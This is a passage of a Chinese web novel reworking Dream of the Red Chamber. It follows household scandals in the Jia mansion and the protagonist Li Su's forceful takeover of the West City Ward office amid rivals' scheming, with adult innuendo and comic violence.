贾母一直在等信儿。 等两个儿子回来说明了情况后,她一阵自责,接着又是一阵怀疑。最后心中暗自哀叹一声,怎么最近办点儿事,这么难。 随后就抹起了眼泪。 贾政见这情形,立刻就跪下了:“母亲,是儿子不孝,没有办好。” “儿子也不孝, 请母亲责罚。” “老祖宗,待明日素大哥醒了,说清楚就好了,谁没有个口误的时候,况且老祖宗如此高龄,想必他是能够明白的。” 探春拿着手绢儿给贾母擦了擦眼泪。 “还是你贴心。”贾母拍了拍探春的手,随后又看了看面色忧虑迎春和惜春:“你们也都是好儿的。” 邢氏讪笑着收回了自己的手绢儿。 贾母瞥了她一眼,再看向了两个儿子:“你们俩起来吧,不怪你们,是老婆子糊涂了。” “母亲!” 听到贾母再次自责,两个人又把头磕了下去。 “政儿,元春是你的丫头,接下来你去办吧,老身就不掺和了。”她真的累了,担心自己再和李素打交道,会提前见列祖列宗。 奇的是,李素事事都能占着理,这堵心堵的真受不住了。 “儿子知道了。” 兄弟二人起身后,贾母摆了摆手,让他俩退下去了。 看着他俩出门儿,贾母神色一顿,好像自己忘记了什么事儿,但想了半天也没想明白忘记了什么。 凤姐儿在李素屋子里待的时间有点儿长,引起了丫鬟们的注意,西厢里的她们看着晴雯遭完了平儿的教训。 一时间安静下来,就听着外面好似有些不太普通的声响。 平儿呆住了,她是通房丫鬟,虽然还没有通,但动静可没少听,不由的心中巨震,内心焦躁起来。 怎能如此? 她也不是个真骚的,怎么能干出这种事儿? 这可是天大的祸事,可怎么办? 六神无主的她面色阴晴不定。 “你们不许出去!” 平儿见几个丫鬟欲往外走,大喝一声叫住了她们,紧接着她慌了,急问道:“晴雯呢?” “晴雯呢?” 紫鹃伸手指了指门口,平儿看去,门被打开了一半,不见晴雯身影。 第137章 听房之人 “水!” “水!” 贾琏哼唧唧醒了过来。 这几天烧一直没退,醒了睡,睡了醒,日夜都颠倒了。 “二爷,水来了。” 小厮兴儿和隆儿两人进了屋子,兴儿端着水碗走到炕前,隆儿扶起了贾琏:“二爷,喝水。” 贾琏半睁半闭着眼睛,张嘴喝了半碗,有了些精神,打眼瞧了瞧他俩。 “你二奶奶跟平儿呢?” “老祖宗叫去饮宴,一直未回。” “嗯……可难受死爷了,头晕不说,身子也疼,忒不爽利。” “要不,我给爷解个闷儿。” 贾琏砸吧了一下嘴:“你在一旁伺候着……嗯…隆儿来说,再说说前几天珍大哥和宝玉、蓉哥儿的事儿。” “好嘞二爷,就说那夜,珍大爷下得天香楼,就冲进了锦花厅宝二爷歇着的里厢房,赶巧儿宝二爷喝多酒,已经睡下了。” 贾琏精神了一些,提醒隆儿道:“仔细些,宝玉穿的甚么衣裳,什么模样儿。” “是,二爷别着急,那锦花厅里冬日里整夜烧着火龙,真个比夏天还热,宝二爷穿着贴衣小衫都热的直流汗,不知何时褪了下去,嫩白的腿啊背啊都露在了外头,珍大爷进来后二目圆睁,再也忍耐不住便扑将上去……。” 贾琏听到此处,不由的插话:“兴儿,乖宝贝儿,慢些吃,爷要多听会儿。” “唔,小的明白,二爷。” …… 李素的院子里。 平儿心急火燎地快步走出西厢房门,前脚刚迈出门槛,后脚却像被钉住了一般突然停住。 她猛地一拍脑门,然后豁然转身,对着屋内的几个丫鬟声色俱厉地道:“你们都给我老老实实呆在屋子里,谁也不准出去一步,听到没有!” 几个丫鬟面面相觑,噤若寒蝉地点点头。 平儿便放心地将屋门用力一关,随后急匆匆地朝着院子走去。 当她走到主屋门侧时,眼角余光瞥见一个影影绰绰的小身影正鬼鬼祟祟地藏在那里。定睛一看,果然是晴雯正在那儿偷偷摸摸地偷听呢! 平儿见状,心中顿时升起一股无名之火,她三步并作两步冲到晴雯面前,不由分说地伸手揪住了她的耳朵,使劲往外拉扯。 晴雯猝不及防,只觉得耳朵一阵剧痛袭来,忍不住失声尖叫起来:“哎呦~疼疼疼……平儿姐姐,你这是干什么呀?快松手啊!” 平儿却丝毫没有放手的意思,依旧紧紧拽着晴雯的耳朵,压低声音怒喝道:“少废话!跟我回西厢房去!” 说着,手上又加了几分力气,拉着晴雯就往西厢房走去。 到得西厢房外,晴雯不走了,抓了平儿的手腕儿道:“平儿姐姐,我还要听呢,让我再听一会儿,我们老爷在教训她,哈哈哈,我听得可爽利了。” “教……训?”平儿不由得松开了手。 “对啊,我们老爷还骂她来着。” “还骂…骂什么了?” 平儿有点儿搞不懂了,这好像跟她知道的不太一样。 “额,我学给你啊……你个臭娘们儿,服不服?啪!这是我们老爷打她的声音……不服!啪!啪!啪!啊啊啊!……服不服?……服了~啪!啪!啪!叫老爷!……老爷~” 晴雯边学边比划,平儿一头雾水,难道真是在揍她? “没有别的?” 晴雯嘟着嘴满脸失落:“没,我还要听呢,就被你抓来了。” “那……有没有…听到好人、凤儿之类的字眼儿?” “哎呀我的平儿姐姐,你以为呢?是我们老爷在教训她,不是在和她攀亲戚,咱们一起再去听听看,你就知道了。” “不许去!” 平儿心里始终七上八下的,实在放心不下,便不由分说地一把拽住晴雯,急匆匆地走进了西厢房。 晴雯满脸都是不快之色,嘴里嘟囔着什么。 但见到细柳和紫鹃等几个丫鬟,她眼睛一亮:“咳!你们知道我刚才瞧见什么了吗?” “瞧见什么了?” “咱们老爷一脚把二奶奶踹倒在地,然后一个嘴巴抽了上去,只见她嘴角的血瞬间就流出来了,再然后她就哭了。” “然后呢??”紫鹃紧张的问道。 “然后,咱们老爷说,以后进了我们的院子,不许大呼小叫的,你不是我们的院儿的二奶奶,你明白了吗?咱们老爷说完,啪!啪!啪!!!!” “再然后呢,她又哭了么?有没有认错?”细柳也凑近了问。 “当然,怎么 老爷那拳脚多重?她哭着说,我再也不敢了,不敢了,尤其见了那个晴雯绕着走!” “不对,你胡说的吧?” 晴雯急了,急着摆手分辩:“不是,没有,我怎么会胡说呢?谁不知道我晴雯是老实人?” 平儿看着晴雯瞎编,胡说八道,心里不知怎地竟然松了一口气。 丫鬟们在屋里又笑闹了一阵,就听到院里王熙凤叫平儿的声音,平儿赶紧打着灯笼出了门儿,然后就看见王熙凤已经出了屋子的门,在台阶上等她。 平儿急忙过去,来到王熙凤近前:“奶奶,可以回院子?” “扶……我一把。” “这这,这怎么了?”平儿赶紧搀住了王熙凤,然后下了台阶慢步往外走。 “没,没怎么,就是大意了。” “你挨打了?” “也算是吧。” 等出了院子门,平儿小鼻子嗅了嗅,心里咯噔一下,一把紧紧抓住了王熙凤的胳膊:“不对!不对劲,你是不是做那事儿了?” “没。”王熙凤心虚了一下。 平儿低声道:“休得瞒我,那骚味儿我又不是没闻到过,你是想死么?” “你个小蹄子,我是你奶奶,你休得聒噪!” 平儿听这话就知道没跑了,焦急的看着王熙凤:“我的老天啊,你到底想要做什么?你是什么身份,怎么能干出这般事儿,天塌了啊。” “我……我也不想的,可是,玩儿砸了!” 平儿叹了一声:“我的奶奶啊,那就这一回吧,就当没发生,以后就当做了个梦。” “额。” “额是什么意思?你还想?” “……” 平儿的眉头皱了起来:“你说话啊?难不成做那事儿挨揍还上瘾了?” 王熙凤柳眉倒竖:“你听房?” 第138章 凤姐夜奔 平儿不说话,斜眼看着她。 “听就听吧,反正我和琏二你也没少听,不过,确实爽利。” “不要脸!” 王熙凤一听这话指着平儿骂道:“好你个贱蹄子,如今还敢编排起我来了。” 平儿却也不惧,只是轻轻哼了一声率先进了院子。 “好了,姑奶奶怕了你了,你先去给我准备水,我要好好洗洗,嗯?怎么还亮着灯?琏二这是醒了?” 王熙凤推开房门就进了屋子。 “怕是他睡不下去了吧。”平儿讥讽一句跟着进屋。 进屋后就听到了里间贾琏哼唧的叫声,王熙凤身子晃了晃,随后就冲进了里间,同时破口大骂。 “你都快死了,我看到底是哪个脏臭下贱……贾琏!!!” 她还没骂完就好像被噎住了,随后尖叫起来。 平儿跟着进去,就看到了不可思议的一幕,贾琏、兴儿、隆儿三人竟然……简直要扎瞎人的双眼。 王熙凤往后就倒,被平儿扶住了。 “凤儿,你听我说。” 贾琏也懵了,没想被王熙凤抓了个正着。 王熙凤越想越气,冲过去就要打贾琏。贾琏一闪身,王熙凤扑了个空。 她怒不可遏,转身抄起桌上的茶杯就朝着贾琏扔了过去。贾琏躲避不及,被砸了个正着,额头顿时流出血来。 众人见状都惊呼起来。王熙凤大声嚷道:“今日这事没完,你们几个等着瞧。”说完,甩袖而去。 兴儿和隆儿不停的在地上磕着头请罪。 “二爷,还不快追!” 平儿娇斥了一句,提起灯笼追了出去。 六神无主的贾琏迈步就跑出屋子去追王熙凤,出了屋子后,一阵寒风吹来,他差点儿被追了个跟头,才发现自己竟然穿着单衣。 顿感头晕目眩,咣当就摔倒在地,又晕了过去。 高烧未退,又遭冷风。 平儿不多时就追上了王熙凤,死死的拽住她:“你这是做什么?你们俩都干了腌臜事儿,怎么你比他更干净?” 王熙凤冷芒闪烁。 “你懂个屁,他恶心到我了,以后休想再碰老娘,所以老娘今儿要大闹天宫,让府里都知道他贾琏有多脏,以后不管什么事儿都是他琏二的错。” “你,你要如何做?” 只见王熙凤双手抓住自己的头发,疯狂的胡乱扯弄了一阵,瞬间就变成了乱草一般。 “像不像疯子?” “像鬼!” “那就对了,跟我走!” 王熙凤风风火火地一路小跑着直奔贾母所在的院子而去,待距离贾母的院子越来越近时,突然间,只听得一声凄厉无比的嚎哭声划破长空——“嗷”!这声音犹如夜枭哀鸣,又似孤狼长啸,令人毛骨悚然。 而发出这惊天地泣鬼神哭声之人,正是王熙凤。 此刻的王熙凤已然顾不得什么形象和体面,她一边奔跑着,一边声嘶力竭地痛哭流涕,仿佛要将心中所有的悲痛与委屈都通过这哭声宣泄出来。 那哭声之凄惨、音量之大,直震得周围树上熟睡的鸟儿也扑棱棱地飞起。 不多时,各个屋里的灯,纷纷亮了起来。 只听外面不断传来王熙凤的哭喊声。 “老祖宗救命啊……呜呜,琏二和兴儿隆儿不要脸,扬言要杀了我哩……” …… 贾琏? 跟小厮这么不要脸? 杀二奶奶? 天大的祸事! …… 贾母刚睡下不到半个时辰,就被这哭声给惊醒了,她一阵阵心悸:“鸳鸯,快,去看看,到底这是又怎么了?” 鸳鸯把伺候贾母起床的事儿交给其他丫鬟,就赶紧出了屋子。 不多时就见王熙凤披头散发的跑了进来,身上脏兮兮的,也不知道在哪里蹭了泥,脚上的一只鞋子也跑丢了。 “二奶奶,这是怎么了?” 鸳鸯赶紧上前扶她。 王熙凤甩开鸳鸯的手,一屁股坐在了地上,哇哇的哭了起来,眼泪跟开了闸一样。 鸳鸯只好蹲在她身旁,不住的问:“二奶奶,二奶奶,您这到底怎么了?你倒是说啊,老祖宗都被吓到了。” “凤哥儿,你倒是说说,怎么了?” 贾母被搀着走了出来。 “老祖宗。” 王熙凤泪眼婆娑的看了一眼贾母,随后又哇的一声哭了出来:“……老祖啊,我没法活了啊,琏二他,他……跟两个小厮在屋子里擦玻璃,还扬言要杀了我, 他们一起过……呜呜。” “混账!” 贾母气的大骂一声,哆嗦着道:“你先起来,我的孩儿啊,你看看你都成什么样儿了?……鸳鸯,安排人把他老子叫来!” 鸳鸯答应一声,出门儿去打发人叫贾赦。 王熙凤扑到贾母身前,抱着她的腿呜呜哭个不停。 贾母不停的安慰着她,平儿暗自撇撇嘴,扶着她坐在了椅子上。 里面碧纱橱的宝玉也醒了,他听到了一切,从开始的震惊,到后来他有些疑惑了,不禁怀疑那事儿真有那么好么? 自己为何如此的痛苦? 这里面到底有什么秘密? 男人不都是脏的臭的么? “袭人姐姐。” “二爷,可要起么?” “男人是不是都是脏臭的?” “不是啊,二爷就不是脏臭的。” 宝玉点点头:“是了,想那素大哥也不是,还有蓉哥儿,还有……兴儿隆儿也不是么?” 袭人嘴角儿抽了抽:“奴婢就不知道了。” “这男人和女人一样,都有脏的臭的,都有香的好的,原来我错了。” 宝玉说完这话,一时间呆住了,不知道在想什么。 又过了一会儿,听到外面乱哄哄的,好似大老爷来了:“快,伺候我更衣,我要去瞧瞧凤姐姐。” 贾赦来的路上就听说了,心里不住的骂娘,这些日子就跟烧饼开会似的。 更没想到贾琏这个球囊的,也玩起这个了,姑娘不香么? 不类父的王八犊子! 进屋见了贾母,他也不废话,噗通就跪下请罪。 “儿子教子无方,请母亲责罚!” 贾母拿着拐棍一指他:“我也不要求你别的,只要把凤儿受的委屈平了,我也不管你怎么教导琏儿,只要凤儿满意,否则我这老婆子死也不依你!” “儿子知道了。” “你知道个屁,如果惹的他舅老爷来找你,你就把自己吊起来吧。” 贾赦心里一震,王子腾? 第139章 走马上任 贾赦明白了贾母话里的意思。 府里耗费了那么多的资源把王子腾推了上去,千万不能起了龌龊,让投资打了折扣,大笔资源砸下去,还没见回头钱儿。 如此大事儿,他是有点儿逼数的,于是气冲冲带着十余人就奔了贾琏的院子。 偷瞧的宝玉见大老爷离开时那可怕的气势,心里打了个突儿,按下那莫名的心思,身体上的骚痒瞬间也好像不见了。 荣国府这一夜,好似在杀年猪,都没睡好。 只有李素睡了个通透,他累。 一大早,贾政顶着黑眼圈儿就奔了李素的院子。 站在李素院儿门口的政老爷风中凌乱。 “走了?去了何处?” “是的政老爷,我家老爷一早就走了,去了何处奴婢却是不知了。” “可说了何时回来?给他留的口信儿可曾带到了?” “带了,何时回来老爷却是没说。” 贾政的心就好似这寒冷的天儿,快凉透了,搞不清楚李素是不是还在恼着,万一不回来了怎么办? 看他那爆碳的性子若是真伤透了心,十有八九难回头。 “柳……柳五儿是吧,你是柳家的女儿。” “禀政老爷,老爷儿给我改了名儿,叫细柳。” “嗯,你家老爷若是回来,烦你差人通报一声可好?” “好。” 贾政叹了一声拖着疲惫的身子就往回走,到了贾母房里回禀过,贾母也没什么话,实在操不动心了。 贾政只好又吩咐了赖大差人去寻。 西城兵马司。 李素头前骑着玉照狮子下了马,把缰绳交与了两个马夫,他看着眼前的衙门,大门宽大也足够高,就是有些个破旧,此时大门紧闭。 上面一个横匾,上书西城兵马司五个大字。 “什么时辰了?” 飞狐在一旁答话:“卯时三刻。” “砸门!” 飞狐口中发出一声暴喝:“兄弟们,砸门!” 刹那间,他身后那整整一百名来自巡补营的好汉们齐声响应,高高举起手中棍棒,朝着那紧闭的大门猛扑过去。 紧接着,便传来一阵阵急促而有力的“咚咚咚”撞击声,犹如阵阵惊雷在耳边炸响。 飞狐口令再变:“撞!” 这些好汉们瞬间列队,动作整齐划一,好似一波波的洪峰随着一句句口令对大门开始冲撞。 这西城兵马司的老旧大门,终究难以抵挡这般猛烈的冲击。 突然间听到“嘭”的一声巨响,那原本还算坚固的两扇硕大木门再也承受不住巨大的力量,轰然倒地,扬起一片遮天蔽日的滚滚尘烟。 “进,一个站着的也别让我看见。” 飞狐手中挥舞着长刀:“兄弟们,得小爷令随我冲!”带着人呜嗷叫着便如同潮水一般涌入了兵马司衙门。 刹那间,里面就是一片鸡飞狗跳的嘈杂声,此起彼伏的各种凄惨嚎叫声。 大约过了一炷香,里面安静了下来,飞狐出得门来向李素行礼:“小爷,办妥了。” “好。” 李素笑着就往里走,门里就是一个大广场,此时广场倒下了十七八人被摁着趴倒在地,不断的哀嚎。 忽然李素一怔,看向飞狐:“那羊?” “嘿,兄弟们憨直,不使一物站着碍小爷的眼。” “中午涮羊肉!” “好嘞。” 飞狐一挥手,两个好汉把那被敲断了四条腿,在地上跪着的羊抬走了。 “噤声!” 随着飞狐一声大喝,哀嚎声立止。 李素站在这群趴地的人前方高声道:“谁的官职最高?” “我我我……卑职孙有道…任吏目。” 李素看去是个留着山羊胡儿的胖子,走到他跟前,一脚把他抬起的头又踩了下去:“知道我是谁吧?” “大人穿着指挥使官服,卑职认得。” “来,把这个宣读一遍。” 李素从怀里把圣旨掏出来,扔到了他的耳边。 孙有道见是圣旨,不由得打了个哆嗦,犹豫着抓到手里就欲起身宣读,被李素一脚又踩了下去。 “就这么念,大声点儿。” “卑职,卑职,遵命。” 他打开圣旨,把李素的任命很快念完,飞狐把圣旨拿走又收了起来。 李素清了清嗓子:“本官来兵马司,兵马司就姓李了,知道你们为什么挨打么?没人值宿,应卯的时辰大门紧闭,你们就该打,往后再出现此类 事情,直接杀头!” 一众兵马司的人听到这话,呐呐不敢言。 “孙有道!” “拿花名册来,点名,未到岗者全部抓回来。” “是,大人。” 飞狐给李素搬了把椅子,他坐了下来,就这么看着地上趴着十几个人,孙有道在一旁点卯。 “大人,西城兵马司应有三千二百一十八人,实数一千六百四十二人,前些日子因祸又去了七百二十六人,剩余九百一十六人。今日在场一十八人,除了在西城值岗的六百四十人外,缺卯二百五十八人。” “继续说。” “没了。” “没了?副指挥使呢?” “大人,都跟裘指挥使一并被下狱了。” 李素乐了,这么光棍,不是让自己任人唯亲么? “飞狐、孙有道!” “卑职在。” “今日起你们俩就是我西城兵马司的副指挥使了。” “是。” “啊?” 孙有道愣了,自己这是连升两品?九品直接变成了正七品!他简直不敢相信自己的耳朵。 “孙副指挥使?” 孙有道冲着李素噗通又跪了下去:“大人,我我……不,卑职一时激动,竟然走了心神,大人就是我的再生父母,我愿拜……” “别,我不收义子,你看着都快五十了吧,矜持点儿。” “愿为大人门下走狗!” 孙有道,头磕的砰砰响。 “好了,进堂叙话。” “大人,我带路。” 孙有道窜起来就跑到了李素前面,引着往里走。 广场后面就是大堂,是兵马司内的办公衙署,其中还有一个议事大堂,孙有道边走边介绍。 “大人小心。” “大人抬腿。” 穿过大堂,往后是各司署也就是各个副指挥使的衙房,治安司、缉捕司、防火司、市管司、清道司。 再往后又是一个院子。 “大人,这就是您的指挥使衙房了,这衙房后面是各个庶务场所。” 李素点点头:“你起个职司文书,我来签押,对了,飞狐,你的大名是什么?” “胡飞。” 真草率! 第140章 孙有道的道 “见过胡大人!” 孙有道很会来事儿,对着飞狐就作揖。 “行了,你们给我过来。” 李素率先走进了主屋,屋子很大也很高,进屋就是一个大的议事堂,往左走是一个略小些的会客厅,再往后是书房。 右侧是一个大的休息室,摆着一个高大的拔步床,李素伸手摇了摇床杆,纹丝不动。 “大人,这都是新的,被褥等所有物品都是新的,你看行不行,不行卑职马上就换,不会超过半个时辰。” “孙子!”飞狐撇撇嘴。 “胡大人怎知卑职名号?” 飞狐翻了个白眼儿。 李素拍了拍孙有道的肩膀:“好了,不用换,你这是什么时候准备的?” 孙有道被这一拍仿佛,酥了半边身子,他弯着身子满脸堆笑:“英明的大人啊,卑职是在裘指挥使被下狱后就准备了,未雨绸缪。” “不错。” “大人这边请。” 李素疑惑,跟着他往卧室后面走,只见绕过拔步床后,还有一个门,推开后又出现了一个套间。 三人进去后,只见两个美貌的丫鬟,正在矮榻上坐着。 “司茶、司善,快见过大人。” 孙有道话音刚落,两个丫鬟对着李素就跪了下去。 “嘿,大人,未雨绸缪,未雨绸缪,这是卑职从教坊司买来的干净丫鬟,大人劳苦,有个伺候的才好为皇上尽忠嘛。” 李素倒吸一口凉气,这糖衣炮弹真凶! 孙有道继续解释:“大人,她俩是在咱们衙门里领薪俸的,不需要大人操心。” “你他娘的还真是个人才,你应该去会所工作,别啰嗦了,去说正事儿。” “大人请。” 孙有道又掀帘子又弯腰打千儿的,引着李素往小厅里走。 飞狐在后面看着直翻白眼儿。 在小厅里坐下来,司茶司膳两个丫鬟被打发去烧水沏茶,李素看着孙有道,怎么看都像是个魏忠贤、李莲英之类的人物。 “大人!” 孙有道又跪了下去。 “又怎么了?你说。” 孙有道抬起头抱拳。 “好叫大人得知,小人孙有道在西城兵马司任职已经八年了,曾经摆过地摊、干过厨子、开过饭馆、搞过青楼,到今年四十有八,家住西城莲花胡同甲捌号,上有老母,下有三儿两女,小人精通算、写、坑、蒙,武力差了那么一些,请大人明鉴。” 说完他一个头又磕在了地上。 李素咂么着嘴,看着这个胖子,万万没想到入职兵马司竟然遇到这么一个极品。 “抬起头说话,你是不是也给裘良来过这么一出儿?” “没有机会,有副指挥使在,小人还办不了多少事儿,但确实也用尽了小人的手段,所以就升到了吏目,但再往上就不行了,高傲的裘良看不起小人。” “你这钻营的能力确实非同凡响,起来吧。” “谢大人!” “我说几件事儿,老孙,你下午把兵马司在外的人全部给我召回来,对了你想负责哪个部分的职司?” “防火司!” “这个司,现下可是敏感的职司。” 孙有道面上竟然出现了使命感,双手抱拳:“小人有信心做好,不瞒大人,小人之前混在市井,对防火这个事儿了解的很,只是之前小人位卑,无人听我建言,另外小人就直说了,大人因火上任,办好此事必然是最为关要的,小人愿为大人立这一功。” “好,飞狐就负责缉捕司,另外我给你们七日时间,把人员给我补齐了。” “大人,全补吗?” “全补,你这么问,是想知道我吃不吃空饷?” 孙有道点头。 “我告诉你,我不吃,你家老爷我不缺银子,对了,飞狐你去飞鱼卫问问路不平,宁国府的那些人审问的怎么样了?” 飞狐点头:“好,我何时去?” “你现在就去吧,赶着中午回来吃涮羊肉,路不平要是无事的话,也请他来,就说是衙署之间的公务。” 飞狐转身出去了。 “老孙,现在咱们还缺三个指挥使,你有什么人选么?” “有!” 李素眼睛一眯:“说说看。” “大人,顺天府胡德……” 啪! 一本书砸在了孙有道的脸上。 “你他娘的,给你点儿颜色你就开染坊了,我还以为你有多高明,这么快就欢喜过头了?副指挥使也是你能举荐的?你 他娘一个吏目,真把自己当指挥使了?利令智昏的东西!” “小人错了!” 孙有道跪在地上,头也不敢抬。 “滚吧,把老子说的事儿办妥了。” “是,大人,小人这就告退!” 孙有道颤颤巍巍的爬起来,只见他脸上脖子上此时已经流满了汗水,面色苍白,他躬身倒退着向外走,不敢抬头看李素。 “你是不是早就知道是我来上任?” “就知瞒不过大人,卑职是昨日知道的信儿,然后置办了这些个,不是有心瞒着大人,请大人治罪。” “以后别称小人了。” “是,是,谢谢大人,谢谢大人!” 孙有道一脸欣喜的出了屋子。 等他走了,李素沉思起来,手下无人可用啊,五个兵马司副指挥使都凑不齐,看来还得麻烦路不平了。 要说谁最了解京城官员的底子,飞鱼卫莫属。 正思考着,飞狐竟然回来了,再看他身后竟然就是路不平,这人真是不经念叨。 “哈哈哈,路大人,路同知,我正在想你你就到了。”李素起身相迎,拉着了路不平的手臂就往座位上摁。 “爵爷,慢,慢点儿。” 路不平瘸着腿,被这么一拽差点儿摔倒。 “大人,我刚出衙门,就见路大人找来了。”飞狐在一旁解释道。 “路大人找我有事儿?” “嗯。” 路不平看了一眼端茶进来的司茶和司膳。 李素明白,随后向她俩道:“将茶放下,你们二人出去候着吧。” 两女忙把茶放好,躬身行礼出了屋子。 “路大人,飞狐是我的人,你但说无妨。” “爵爷,事儿也不大,如何处理却需要您拿个主意。” “你说。” “经过审问宁国府的管家、小厮等人,腌臜事儿不少,其中最重要的就是那个赖二,对了还有荣国府的赖大,他们黑了这两个国公府不少银子。” “有多少?” “一百五十余万两!” 第141章 爵爷,这算造反! 这么多? 李素豁然站起身来。 “宁国府有多少?” “据赖二交待,宁国府的部分大约占三成,荣国府是大头儿,嘿……都说那贾老太君是个精明人,没想到被坑至此。” 路不平嗤笑出声儿。 李素在屋里来回走了几步,拿定了心思:“追回宁国府的银子,你拿一成儿,然后大张旗鼓的送回宁国府。” “这是为何?” 李素嘿然一笑:“快过年了,让贾府添点儿热闹。” “这好办,但一成银子,我却不好拿。” “你们飞鱼卫这么干净?” “那……倒不是。” “那是因为什么?”李素坐了下来,把茶盏往路不平面前一推。 路不平苦笑,瞧了一眼李素:“爵爷不是外人,我倒是不怕说,我爷爷、我爹都是因为拿的多才倒霉,所以我引以为戒。” 飞狐肃然起敬:“路大人真是少有的廉吏。” 路不平愣了一下,面色红了红:“啊,误会了兄弟,我是引以为戒……嗯,不拿大钱,这一成五万两太多了。” “这样,五万两给奉天府两万,交给你的上级夏方两万,你拿一万,夏方如果问,你就照实说,就说我安排的。” “行,就听爵爷的。” 李素替他担了干系,路不平笑的合不拢嘴。 “还有一件事儿,我一直想不通,跟你请教一下。” “爵爷请说。” “你们应该审过裘良了吧,那一日金宝街放火之人,是兵马司原本的人马,还是趁夜混进去的?” “原本就是兵马司的,审过裘良之后,飞鱼卫对兵马司梳了一遍,下狱了七百二十六人,这七百二十六人,一直在审,但现在还没什么结果。” “这七八二十六人是怎么抓出来的?” “金宝街死士引荐人、无父母子女拖累者、入兵马司不足一年者、户籍不在京者尽皆下狱过审。” “以你的经验看,我这兵马司算不算安全了?” 路不平支吾道:“差不多吧。” 李素翻了个白眼儿。 “大人、大人,卑职有事禀报啊……大人。” 孙有道此时在外面喊了起来。 李素朝飞狐使了个眼色,飞狐出去把孙有道带了进来,看他一脸焦急的模样,李素一摆手:“别行礼了,说事儿!” “大人,有人来报信儿,市管司在外面执勤的兄弟被人打了,说是南城兵马司的人打的!” 李素豁然起身。 “飞狐叫人!” “是。” “路大人,那边儿的事儿就交给你了,今日中午这顿涮羊肉是吃不成了。” 李素抱拳提剑就往外走。 路不平赶紧跟上:“哈哈哈,爵爷放心,羊肉什么时候都能吃,您不问问被打的因由?” “若是我麾下的人跟百姓庶民起了冲突,必先问缘由,但同僚衙署间起了冲突,那无非利益之争、权力之争,先打了再说!” “爵爷通透!” 说着一路风风火火就到了衙前广场,孙有道扯着一个鼻青脸肿的兵丁过来了:“快,拜见指挥使大人!” “别废话,对方多少人?在广顺街何处?此时是否还在?” 他噗噗跪地:“大人,对方五十余人,在广顺街南口,此时不知在不在了?” “老孙,以前可曾有过此事?” 孙有道忙道:“今日是第一次。” “确定是第一次?” “卑职拿脑袋担保,从未发生过此事!” 李素摸着下巴,寻思了一下:“这他娘的是给老子上眼药的啊……老孙,南城兵马司衙门在何处你知道吧?” “知道,大人是想?” “打他们老巢!” “啊?这……这…” 孙有道听到李素这话,吓得心瞬间提了起来,攻打对方衙门?这闻所未闻啊! 路不平也被吓到了,一把拉住了李素的胳膊:“爵爷,这可使不得啊!使不得!” 李素咧嘴一笑。 “使得得,谁不让我好过,我就让他别过了!” “爵爷,这算造反!” 路不平抓着他的手臂不放手。 就在此刻,一阵杂乱而又慌乱的脚步声从衙门外传了进来。 紧接着,一声声愤怒的呼喊声也随之响起:“东城兵马司那些个狗日的简直不是人啊,竟然二话不说就对咱们兄弟动手啦!” “北城兵马司那群狗娘养的太过 分了,居然敢出手打人!” “中城兵马司那帮狗杂种,他们也跟着一起欺负人!” 这此起彼伏的叫骂声响彻整个衙门内外。 不一会儿功夫,只见四五个鼻青脸肿、狼狈不堪的身影跌跌撞撞地冲进了衙门里。 他们有的头发凌乱,衣服被撕扯得破破烂烂;有的脸上布满了淤青和伤痕,嘴角还挂着血丝;更有甚者一瘸一拐,走起路来摇摇晃晃,仿佛随时都有可能摔倒在地。 李素气笑了,对路不平道:“看看,这是不是给老子上眼药,四面皆兵,八面埋伏了。”他现在也不急了,指了指这几个问道:“你们说说,为何揍你们?” 孙有道对着他们喊道:“快说,这是咱们新任的指挥使大人,大人乃是子爵,朝廷为了……” “老孙,别吹了,先说正事儿。” “是,大人,你们快说!” “禀指挥使大人,今日卯时兄弟们上街收取商户的静安银子,谁知道中城兵马司的人出现了,说以后银子归他们收了,兄弟们跟他们理论,谁知道他们二话不说上来就打,他们……他们人多,兄弟们打不过。” “大人,我们遇到的南城兵马司也是这般。” “北城兵马司也是。” “大人,还有东城。” “孙有道!” “卑职在。” “靠近点儿。” 孙有道赶忙凑近了,李素在他耳边说小声儿叽咕了几句,只见孙有道的眼睛瞬间瞪圆了,他呆呆的道:“这……能行?” “少废话,飞狐。” “在!” “出发。” 李素翻身上了照玉狮子,飞狐身后的百人队,也准备就绪。 路不平一个滑步上前抓住了李素的缰绳:“爵爷,三思啊,您可以直接找兵部,再不济找皇上,千万别做傻事。” 李素看了看他的瘸腿:“你这是怎么滑的?” 路不平有点儿急了:“我的爵爷!您要想学我教您,但现在不能去啊!” “怎么?担心你的牌子拜错了?路大人,我兵马司是不是有缉盗的权限?” “有!” 李素一摊手:“那不就结了,我去抓贼啊,北城、东城、南城、中城兵马司衙门藏贼了。” 第142章 攻势如火 “这?” 这时有衙役牵来一匹马,给了引路向导。 他翻身上马向李素一抱拳:“大人,小的治安司刘七,为大人引路。” “从南到北,最后占中,驾!” 李素从路不平手里把缰绳一扯,率先骑马就冲出了大门,飞狐带着人随后就跟了上去。 中城兵马司。 指挥使司衙内,一溜儿坐着七八人,正在饮茶,不时地传来哄堂笑声。 “文兄端的好计谋,你说那毛头小子,此时在做什么?” 中城兵马司副指挥使文思成嘴角上扬,没有答话。 北城兵马司指挥使姚林道:“要我说,他此时在疲于奔命,哈哈哈。” “我料也是,咱们选的四条街隔着至少五里路,他去了,发现人没了,银子也被收了,哈哈哈。” 这是南城兵马司指挥使武庆。 东城的指挥使洪广志站了起来:“……对对对,一路上毛也没见到,银子没了,看他的指挥使怎么当的下去,眼下可就要关响了,税银交不上去,上边儿会给他们薪俸?” “嘿,户部的老爷们,怎么可能好说话,除非他拿自己的银子发薪俸,不然怎么能有脸当得下去这个官儿?” “如果他拿自己的银子填?哼哼……天子脚下,自己养兵,意欲何为啊?” “哈哈哈,对对对,飞鱼卫就该上门儿了。” 文思成敲了敲桌子:“咱们五城兵马司属西城油水最多,以前裘良在,咱们插不上手,天可怜见那球囊的进去了,合该兄弟们发财,但我有一点需要说明,你们多得一部分拿出五成,包你们这事儿一直做下去。” 文思成说完这话,现场顿时安静了下来。 姚林皱眉道:“五成?文兄,这银子?” “一道折子此时已经递进了宫里,西城兵马司兵员短缺,其市管司应当裁撤,由其他四城共管,以维持神京商物流通运转,物价平稳,保黎庶民生。” “这银子该出!” “那以后西城兵马司可就只剩下脏活儿累活了,啊……哈哈哈。” “可不是,治安司就管个囚犯、防火司更不用说了,不光累风险还高,最脏的就是清道司,大伙儿想想那场面,那位子爵带着人清茅厕、带人抓贼……” “干不了几天就该哭鼻子了吧,哈哈哈,到时候他干不了,这西城指挥使还不是归咱们文大哥?” 文思成听到这里,不由得也笑了起来,拱手道:“都是楚王殿下提携,各位兄弟抬爱。” 